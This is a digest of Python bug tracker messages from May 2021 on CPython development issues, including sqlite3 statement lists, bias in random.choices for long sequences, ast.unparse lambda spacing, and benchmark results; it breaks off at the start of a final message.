closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:31:12 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 08 May 2021 18:31:12 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620498672.74.0.627832328639.issue43992@roundup.psfhosted.org> Change by Christian Heimes : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:32:54 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 08 May 2021 18:32:54 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620498774.85.0.878461290553.issue44035@roundup.psfhosted.org> Christian Heimes added the comment: Pablo, could you please give the container a try? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:33:08 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 08 May 2021 18:33:08 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620498788.91.0.07582348466.issue43992@roundup.psfhosted.org> Shreyan Avigyan added the comment: I never said this was a bug. But what I'm saying is there should be a different build for Debian because Debian has a reputation of using outdated packages. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:44:07 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 18:44:07 +0000 Subject: [issue32924] Python 3.7 docs in docs.p.o points to GitHub's master branch In-Reply-To: <1519405058.43.0.467229070634.issue32924@psf.upfronthosting.co.za> Message-ID: <1620499447.55.0.00814727596025.issue32924@roundup.psfhosted.org> miss-islington added the comment: New changeset 20fcd8363452506d51bf820c835bd11b6d00e0e7 by Miss Islington (bot) in branch '3.9': bpo-32924: Fix the Show Source url in the documentation (GH-25994) https://github.com/python/cpython/commit/20fcd8363452506d51bf820c835bd11b6d00e0e7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:47:25 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 08 May 2021 18:47:25 +0000 Subject: [issue32924] Python 3.7 docs in docs.p.o points to GitHub's master branch In-Reply-To: <1519405058.43.0.467229070634.issue32924@psf.upfronthosting.co.za> Message-ID: <1620499645.92.0.093489175775.issue32924@roundup.psfhosted.org> Ned Deily added the comment: I think the only reason this is still open is as a reminder to have a permanent process fix. Pablo, would it be possible to include this step in the new release-tools automation? If so, we can open an issue there and close this one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 15:04:16 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 May 2021 19:04:16 +0000 Subject: [issue32924] Python 3.7 docs in docs.p.o points to GitHub's master branch In-Reply-To: <1519405058.43.0.467229070634.issue32924@psf.upfronthosting.co.za> Message-ID: <1620500656.62.0.527890041115.issue32924@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I created an issue on the release repo. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 15:28:40 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 May 2021 19:28:40 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620502120.63.0.300014517526.issue44035@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Seems to work like a charm: ? docker run -v`pwd`:/src tiran/cpython_autoconf Rebuilding configure script autoreconf: Entering directory `.' autoreconf: configure.ac: not using Gettext autoreconf: running: aclocal --force autoreconf: configure.ac: tracing autoreconf: configure.ac: not using Libtool autoreconf: running: /usr/bin/autoconf --force autoreconf: running: /usr/bin/autoheader --force autoreconf: configure.ac: not using Automake autoreconf: Leaving directory `.' Done ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 15:43:24 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 19:43:24 +0000 Subject: [issue44079] [sqlite3] optimisation: remove statement weak ref list from connection object Message-ID: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> New submission from Erlend E. Aasland : Today, the sqlite3 extension module keeps two[1] lists of statements: 1. The statement cache[2], stored in pysqlite_Connection.statement_cache 2. A weak ref. list (hard coded limited to 200 statements in _pysqlite_drop_unused_statement_references()), stored in pysqlite_Connection.statements AFAICS, there's no benefit in keeping both. Suggesting to remove the latter. Pro's: - less lines of code to maintain - clearer code - one less data member in pysqlite_Connection - improved test coverage (there are currently no coverage for _pysqlite_drop_unused_statement_references()[3]) Con's: - the current code works / "code churn" $ git diff --shortstat 1 file changed, 13 insertions(+), 60 deletions(-) [1] Actually, there's three lists: SQLite also keeps a list, available using sqlite3_stmt_next() [2] See bpo-42862 for suggested improvements to the current cache implementation [3] See bpo-43553 for improving the code coverage of the sqlite3 extension module ---------- assignee: erlendaasland components: Extension Modules messages: 393282 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: normal severity: normal status: open title: [sqlite3] optimisation: remove statement weak ref list from connection object type: resource usage versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 15:48:05 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 19:48:05 +0000 Subject: [issue44079] [sqlite3] optimisation: remove statement weak ref list from connection object In-Reply-To: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> Message-ID: <1620503285.13.0.269025768104.issue44079@roundup.psfhosted.org> Erlend E. Aasland added the comment: Berker/Serhiy, weak ref. list question: Could also the pysqlite_Statement.in_weakreflist member go? Seems to be ok: $ git diff --shortstat 3 files changed, 13 insertions(+), 72 deletions(-) $ ./python.exe -m test -R : test_sqlite 0:00:00 load avg: 0.83 Run tests sequentially 0:00:00 load avg: 0.83 [1/1] test_sqlite beginning 9 repetitions 123456789 ......... == Tests result: SUCCESS == 1 test OK. Total duration: 5.7 sec Tests result: SUCCESS ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 16:08:41 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 20:08:41 +0000 Subject: [issue44079] [sqlite3] optimisation: remove statement weak ref list from connection object In-Reply-To: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> Message-ID: <1620504521.22.0.547425429227.issue44079@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +24651 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25998 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 16:12:13 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 20:12:13 +0000 Subject: [issue44079] [sqlite3] remove superfluous statement weak ref list from connection object In-Reply-To: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> Message-ID: <1620504733.1.0.386234416949.issue44079@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: [sqlite3] optimisation: remove statement weak ref list from connection object -> [sqlite3] remove superfluous statement weak ref list from connection object _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 16:49:13 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 08 May 2021 20:49:13 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620506953.31.0.859012481533.issue44045@roundup.psfhosted.org> Andrei Kulakov added the comment: https://dictionary.cambridge.org/us/dictionary/english/lower-case lists lower-case as a valid variant for nouns as well as adjectives. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 17:10:38 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 08 May 2021 21:10:38 +0000 Subject: [issue44080] Bias in random.choices(long_sequence) Message-ID: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org> New submission from Dennis Sweeney : Problem: Random.choices() never returns sequence entries at large odd indices. For example: >>> import random >>> [x % 2 for x in random.choices(range(2**53), k=20)] [0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1] >>> [x % 2 for x in random.choices(range(2**54), k=20)] [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] This might require a 64-bit build. Possible solutions: 1) Do nothing. Document the quirk, and recommend using [seq[randrange(len(seq))] for i in range(k)] 2) Use integer arithmetic rather than random(). Using _randbelow() in the unweighted case alone breaks test_random.test_choices_algorithms(), but adding a case for `if isinstance(total, int)` and using _randbelow() there as well creates a difference between the reproducability of weights=[1]*n versus weights=[1.0]*n. 3) Raise an Exception or Warning when loss of precision is likely to occur. Something like `if n > 2.0 ** BPF: raise OverFlowError(...)`. All smaller integers are exactly representable, but that doesn't quite eliminate the bias (see below). ----------------------- There is bias in random.choices() even when n <= 2**53: >>> Counter(val % 3 for val in ... choices(range(2**53 - 2**51), k=1_000_000)) Counter({1: 374976, 0: 333613, 2: 291411}) >>> Counter(val % 3 for val in ... choices(range(2**53 - 2**51), k=1_000_000) ... if val < 2**51) Counter({0: 166669, 1: 83664, 2: 83293}) For some explanation, imagine floats have only 3 bits of precision. Then random.choices() would do something like this on a sequence of length 7: # Random 3-significant-bit floats def random(): return randrange(8) / 8 # selecting from a pool of size 2**BPF - 1 >>> Counter(floor(random() * 7) for _ in range(1_000_000)) Counter({0: 249566, 5: 125388, 6: 125251, 2: 125202, 1: 125149, 3: 124994, 4: 124450}) Issue: both 0/8 and 7/8 fall in [0, 1). Similar biases: >>> Counter(floor(randrange(16)/16*15) for _ in range(1_000_000)) Counter({0: 124549, 5: 62812, 14: 62807, 6: 62766, 10: 62740, 3: 62716, 12: 62658, 13: 62649, 9: 62473, 8: 62376, 2: 62373, 4: 62346, 11: 62293, 1: 62278, 7: 62164}) >>> Counter(floor(randrange(16)/16*14) for _ in range(1_000_000)) Counter({7: 125505, 0: 124962, 11: 62767, 9: 62728, 6: 62692, 10: 62684, 4: 62625, 3: 62465, 12: 62428, 13: 62397, 2: 62332, 8: 62212, 5: 62176, 1: 62027}) >>> def bias(bits, n): ... c = Counter(floor(randrange(2**bits)/(2**bits) * n) ... for _ in range(1_000_000)) ... m = min(c.values()) ... preferred = [k for k, v in c.items() if v / m > 1.5] ... preferred.sort() ... return preferred >>> bias(bits=4, n=15) [0] >>> bias(bits=4, n=14) [0, 7] >>> bias(bits=8, n=250) [0, 41, 83, 125, 166, 208] # Observation of which numbers may be biased toward # I have no proof that this is universally true >>> [250 * i // (2**8 - 250) for i in range(6)] [0, 41, 83, 125, 166, 208] If using the OverflowError approach, I think using a threshold of 2**BPF/2 would only make some "bins" (indices) have 1.5x the probability of others rather than 2x, and thus would not remove the problem either. ---------- components: Library (Lib) messages: 393285 nosy: Dennis Sweeney, rhettinger priority: normal severity: normal status: open title: Bias in random.choices(long_sequence) type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 17:21:05 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 08 May 2021 21:21:05 +0000 Subject: [issue44078] Output relative path when using PurePath.relative_to In-Reply-To: <1620488591.33.0.62171873486.issue44078@roundup.psfhosted.org> Message-ID: <1620508865.44.0.96874195481.issue44078@roundup.psfhosted.org> Andrei Kulakov added the comment: duplicate of https://bugs.python.org/issue40358 , which has an open patch. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 17:25:03 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 08 May 2021 21:25:03 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620509103.78.0.588249180083.issue44074@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 18:23:45 2021 From: report at bugs.python.org (Mohamed) Date: Sat, 08 May 2021 22:23:45 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620512625.96.0.822546648241.issue44076@roundup.psfhosted.org> Mohamed added the comment: I'm using tkinter for a long time, my application was running fine till 1st May, and suddenly happen this issue. After adding a new data to a list, it showing in some places of tkinter components. For example, in treeview, it shows based on running specfic function, but on click it appear this message: Traceback (most recent call last): File "C:\Users\xxxxxx\AppData\Local\Programs\Python\Python38-32\lib\tkinter\__init__.py", line 1883, in __call__ return self.func(*args) File "xxxxxxx.py", line 1423, in OnDoubleClick itemXid = assetinfo_lst[xrec][1] IndexError: list index out of range in OnDoubleClick: xrec = self.treedata.selection()[0] xrec = int(xrec[1:], 16) - 1 itemXid = assetinfo_lst[xrec][1] However, after exiting the program and restarting it, it is working properly. it could be the mainloop is not working: if __name__ == "__main__": root = Tk() App = MasterApp(root) root.mainloop() Is an issue with a new update of Windows 10? MS suggest to reinstall tkinter and recover Windows ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 19:33:03 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 08 May 2021 23:33:03 +0000 Subject: [issue43417] ast.unparse: Simplify buffering logic In-Reply-To: <1615031757.71.0.0216210718913.issue43417@roundup.psfhosted.org> Message-ID: <1620516783.58.0.272748818266.issue43417@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 19:38:15 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 08 May 2021 23:38:15 +0000 Subject: [issue44081] ast.unparse: dont use redundant space separator for lambdas with no parameters Message-ID: <1620517095.39.0.166538453472.issue44081@roundup.psfhosted.org> New submission from Batuhan Taskaya : Previously: >>> import ast >>> ast.unparse(ast.parse("lambda: 'hey!'")) "lambda : 'hey!'" Expected: >>> import ast >>> ast.unparse(ast.parse("lambda: 'hey!'")) "lambda: 'hey!'" ---------- assignee: BTaskaya components: Library (Lib) messages: 393288 nosy: BTaskaya priority: normal severity: normal status: open title: ast.unparse: dont use redundant space separator for lambdas with no parameters versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 19:42:26 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 23:42:26 +0000 Subject: [issue41830] "NameError: name 'AttributeError' is not defined" In-Reply-To: <1600761126.36.0.940081595242.issue41830@roundup.psfhosted.org> Message-ID: <1620517346.28.0.325540631183.issue41830@roundup.psfhosted.org> Irit Katriel added the comment: The link to the logs is not working now, and without more info there isn't much we can do. Sanka, are you able to reproduce this on a newer python version and tell us how? ---------- nosy: +iritkatriel resolution: -> rejected status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 20:09:56 2021 From: report at bugs.python.org (Rishav Kundu) Date: Sun, 09 May 2021 00:09:56 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1620518996.03.0.860144583276.issue43109@roundup.psfhosted.org> Change by Rishav Kundu : ---------- keywords: +patch nosy: +xrisk nosy_count: 2.0 -> 3.0 pull_requests: +24652 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25999 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 20:21:33 2021 From: report at bugs.python.org (Joshua Root) Date: Sun, 09 May 2021 00:21:33 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1620519693.32.0.0933470099336.issue43568@roundup.psfhosted.org> Joshua Root added the comment: The part that is a bug is that the whole version was checked, not just the major version--you couldn't target macOS 11.0 if your Python was built for 11.3, for example. MacPorts users getting an error in that situation was the original motivation for coming up with the distutils change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 20:28:50 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sun, 09 May 2021 00:28:50 +0000 Subject: [issue44081] ast.unparse: dont use redundant space separator for lambdas with no parameters In-Reply-To: <1620517095.39.0.166538453472.issue44081@roundup.psfhosted.org> Message-ID: <1620520130.0.0.740766424622.issue44081@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- keywords: +patch pull_requests: +24653 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26000 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 21:08:20 2021 From: report at bugs.python.org (Joshua Root) Date: Sun, 09 May 2021 01:08:20 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1620522500.72.0.152456881697.issue43568@roundup.psfhosted.org> Change by Joshua Root : ---------- pull_requests: +24654 pull_request: https://github.com/python/cpython/pull/26001 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 21:45:37 2021 From: report at bugs.python.org (Munir Contractor) Date: Sun, 09 May 2021 01:45:37 +0000 Subject: [issue44082] Add a method to check interpolation errors in configparser Message-ID: <1620524737.05.0.00614146924922.issue44082@roundup.psfhosted.org> New submission from Munir Contractor : Currently, the interpolation of values is done lazily in ConfigParser, only when the value is read. The documentation for this can be improved and also a method to check for such errors can be provided. Providing such a method can help with tests and detecting potential problems earlier in an application. ---------- components: Library (Lib) messages: 393291 nosy: lukasz.langa, munircontractor priority: normal severity: normal status: open title: Add a method to check interpolation errors in configparser type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 21:49:58 2021 From: report at bugs.python.org (Munir Contractor) Date: Sun, 09 May 2021 01:49:58 +0000 Subject: [issue44082] Add a method to check interpolation errors in configparser In-Reply-To: <1620524737.05.0.00614146924922.issue44082@roundup.psfhosted.org> Message-ID: <1620524998.61.0.188161114132.issue44082@roundup.psfhosted.org> Change by Munir Contractor : ---------- keywords: +patch pull_requests: +24655 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26002 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 22:38:02 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 09 May 2021 02:38:02 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620527882.66.0.802066919748.issue44045@roundup.psfhosted.org> Eric V. Smith added the comment: The stdlib seems to have settled on lowercase for the noun version, though. My two cents: no sense not being consist just because lower-case might also work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 22:40:33 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 09 May 2021 02:40:33 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620527882.66.0.802066919748.issue44045@roundup.psfhosted.org> Message-ID: Andrei Kulakov added the comment: On Sat, May 8, 2021 at 10:38 PM Eric V. Smith wrote: > > Eric V. Smith added the comment: > > The stdlib seems to have settled on lowercase for the noun version, > though. My two cents: no sense not being consist just because lower-case > might also work. > Sounds good to me, I'm not opposed to consistency! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 23:58:41 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 09 May 2021 03:58:41 +0000 Subject: [issue44057] Inconsitencies in `__init_subclass__` in a generic class In-Reply-To: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org> Message-ID: <1620532721.84.0.943266990881.issue44057@roundup.psfhosted.org> Ken Jin added the comment: Since this only affects 3.6 which is no longer receiving bugfixes, I'm closing this issue. 3.7 and higher do not have this bug. So one way forward is to upgrade to 3.7 or 3.8 - both of which are supported by most major libraries. If this bug reappears again in 3.10, please do not hesitate to re-open this issue. Thanks! ---------- components: -Interpreter Core resolution: -> out of date stage: -> resolved status: open -> closed versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 00:03:05 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 09 May 2021 04:03:05 +0000 Subject: [issue42115] Caching infrastructure for the evaluation loop: specialised opcodes In-Reply-To: <1603336898.74.0.366564812208.issue42115@roundup.psfhosted.org> Message-ID: <1620532985.7.0.636885318017.issue42115@roundup.psfhosted.org> Ken Jin added the comment: > IMO you need to implement LOAD_METHOD support for all kinds of calls, including the ones that use kwargs, to see any improvement. Recently I played around with that idea and extended LOAD/CALL_METHOD to keyword arguments (so CALL_FUNCTION_KW is replaced). I then reapplied Pablo's patch. Here's the pyperformance results (LTO + PGO): > pyperf compare_to 2021-05-08_03-25-general_load_method-42fcad26a487.json.gz 2021-05-08_08-50-general_load_method-dd24d58ce940.json.gz -G --min-speed=1 Slower (5): - pathlib: 50.3 ms +- 0.8 ms -> 51.9 ms +- 1.1 ms: 1.03x slower - unpack_sequence: 141 ns +- 2 ns -> 144 ns +- 7 ns: 1.02x slower - telco: 16.6 ms +- 0.6 ms -> 16.9 ms +- 0.5 ms: 1.02x slower - unpickle: 33.4 us +- 0.5 us -> 33.9 us +- 0.8 us: 1.01x slower - nqueens: 239 ms +- 2 ms -> 242 ms +- 2 ms: 1.01x slower Faster (23): - logging_silent: 438 ns +- 16 ns -> 411 ns +- 18 ns: 1.07x faster - go: 572 ms +- 55 ms -> 539 ms +- 8 ms: 1.06x faster - pickle_pure_python: 1.10 ms +- 0.01 ms -> 1.06 ms +- 0.02 ms: 1.04x faster - meteor_contest: 274 ms +- 4 ms -> 265 ms +- 4 ms: 1.03x faster - logging_simple: 20.6 us +- 0.3 us -> 19.9 us +- 0.4 us: 1.03x faster - hexiom: 23.0 ms +- 1.0 ms -> 22.2 ms +- 0.2 ms: 1.03x faster - mako: 37.0 ms +- 0.5 ms -> 35.9 ms +- 0.4 ms: 1.03x faster - json_dumps: 32.3 ms +- 0.4 ms -> 31.4 ms +- 0.3 ms: 1.03x faster - scimark_sor: 496 ms +- 7 ms -> 484 ms +- 7 ms: 1.03x faster - spectral_norm: 372 ms +- 5 ms -> 363 ms +- 4 ms: 1.02x faster - richards: 177 ms +- 5 ms -> 173 ms +- 4 ms: 1.02x faster - django_template: 114 ms +- 1 ms -> 112 ms +- 1 ms: 1.02x faster - dulwich_log: 170 ms +- 2 ms -> 167 ms +- 2 ms: 1.02x faster - pyflate: 1.65 sec +- 0.02 sec -> 1.62 sec +- 0.02 sec: 1.02x faster - xml_etree_iterparse: 282 ms +- 5 ms -> 278 ms +- 3 ms: 1.02x faster - unpickle_list: 12.1 us +- 0.1 us -> 11.9 us +- 0.2 us: 1.02x faster - nbody: 343 ms +- 5 ms -> 338 ms +- 7 ms: 1.02x faster - logging_format: 22.6 us +- 0.4 us -> 22.3 us +- 0.5 us: 1.01x faster - sympy_str: 833 ms +- 7 ms -> 822 ms +- 7 ms: 1.01x faster - float: 271 ms +- 3 ms -> 268 ms +- 5 ms: 1.01x faster - scimark_fft: 1.05 sec +- 0.01 sec -> 1.03 sec +- 0.01 sec: 1.01x faster - deltablue: 17.9 ms +- 0.3 ms -> 17.6 ms +- 0.4 ms: 1.01x faster - scimark_lu: 403 ms +- 9 ms -> 399 ms +- 9 ms: 1.01x faster Benchmark hidden because not significant (30): (...) Geometric mean: 1.01x faster Most benchmarks don't use keyword arguments. I'm going to try extend LOAD_METHOD to *args and **kwargs next. For anyone interested, here's the diff (unstable) https://github.com/python/cpython/compare/main...Fidget-Spinner:general_load_method I hope this helps :). ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 00:17:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 09 May 2021 04:17:02 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620533822.65.0.172892018748.issue41730@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately this commit has introduced some reference leaks, see: https://buildbot.python.org/all/#/builders/684/builds/5 Could someone take a look? ---------- nosy: +pablogsal resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 01:28:58 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 09 May 2021 05:28:58 +0000 Subject: [issue39228] traceback.FrameSummary does not handle exceptions from `repr()` In-Reply-To: <1578284065.37.0.657086816746.issue39228@roundup.psfhosted.org> Message-ID: <1620538138.38.0.0693658606435.issue39228@roundup.psfhosted.org> Andrei Kulakov added the comment: This probably shouldn't be done, for all of the reasons above. For the sake of an argument, if we really wanted to do something like this (as it may be convenient in some cases), a better way might be to add a `__tb_repr__ = __repr__` which can be overridden, and `traceback` would use that instead of plain repr. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 01:39:56 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 09 May 2021 05:39:56 +0000 Subject: [issue43656] StackSummary.format fails if str(value) fails In-Reply-To: <1617010609.77.0.749976985588.issue43656@roundup.psfhosted.org> Message-ID: <1620538796.72.0.437314329584.issue43656@roundup.psfhosted.org> Andrei Kulakov added the comment: @Martin it's more that logic in a function may raise exception and it will be handled somewhere upstream, but a repr should just give you a simple representation of an object, it would make no sense for upstream logic to be "object repr failed with such exception, instead we should do this now". It's hard to imagine when this would make sense. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 02:37:06 2021 From: report at bugs.python.org (Swarnila Chakma) Date: Sun, 09 May 2021 06:37:06 +0000 Subject: [issue44083] problem with updated 3.9.5 Message-ID: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> New submission from Swarnila Chakma : the codes were running okay with the version 3.9.4. But yesterday after updating the new version 3.9.5, the same codes are showing error. For example, if I were to write a code about swapping numbers, i write the code: print('Enter two variables') a = input() #suppose 2 nilam b = input()#suppose 3 nilam x = int(a) y = int(b) x = x-y #now we stored value of x-y in x variable y = x+y #now we stored value of x+y in y variable x = y-x print(x) print(y) And I get the following output: File "C:/Users/Asus/PycharmProjects/celsius to fahrenheit/main.py", line 4, in x = int(a) ValueError: invalid literal for int() with base 10: '' I tried reinstalling the version 3.9.4, but it's the same result. It would be appreciable if it can be solved soon. ---------- components: Windows files: main.py messages: 393299 nosy: paul.moore, steve.dower, swarnila707, tim.golden, zach.ware priority: normal severity: normal status: open title: problem with updated 3.9.5 versions: Python 3.9 Added file: https://bugs.python.org/file50026/main.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 02:44:06 2021 From: report at bugs.python.org (Zachary Ware) Date: Sun, 09 May 2021 06:44:06 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620542646.32.0.141008995158.issue41730@roundup.psfhosted.org> Change by Zachary Ware : ---------- pull_requests: +24657 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/26005 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 02:46:40 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 06:46:40 +0000 Subject: [issue41930] Wrap sqlite3_serialize API in sqlite3 module In-Reply-To: <1601813111.02.0.183059099502.issue41930@roundup.psfhosted.org> Message-ID: <1620542800.35.0.241832264744.issue41930@roundup.psfhosted.org> Erlend E. Aasland added the comment: What would be the use case for this? ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 02:49:40 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 09 May 2021 06:49:40 +0000 Subject: [issue44084] Can't mark match, case, _ as keywords in docs Message-ID: <1620542980.52.0.707303221458.issue44084@roundup.psfhosted.org> New submission from Tal Einat : Beginning in Python 3.10, `match`, `case` and `_` are "soft keywords", i.e. they are considered keywords only in specific parts of the syntax. However, they cannot be tagged with a :keyword:`...` role in our docs. This appears to be due to not appearing in the list of keywords in the Python lexer in Pygments, which is used by Sphinx. I've opened an issue on the Pygments repo about this: https://github.com/pygments/pygments/issues/1797 ---------- assignee: docs at python components: Documentation messages: 393301 nosy: docs at python, taleinat priority: normal severity: normal status: open title: Can't mark match, case, _ as keywords in docs type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 02:59:25 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 09 May 2021 06:59:25 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620543565.47.0.714333168005.issue41730@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24658 pull_request: https://github.com/python/cpython/pull/26006 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:00:46 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 May 2021 07:00:46 +0000 Subject: [issue44080] Bias in random.choices(long_sequence) In-Reply-To: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org> Message-ID: 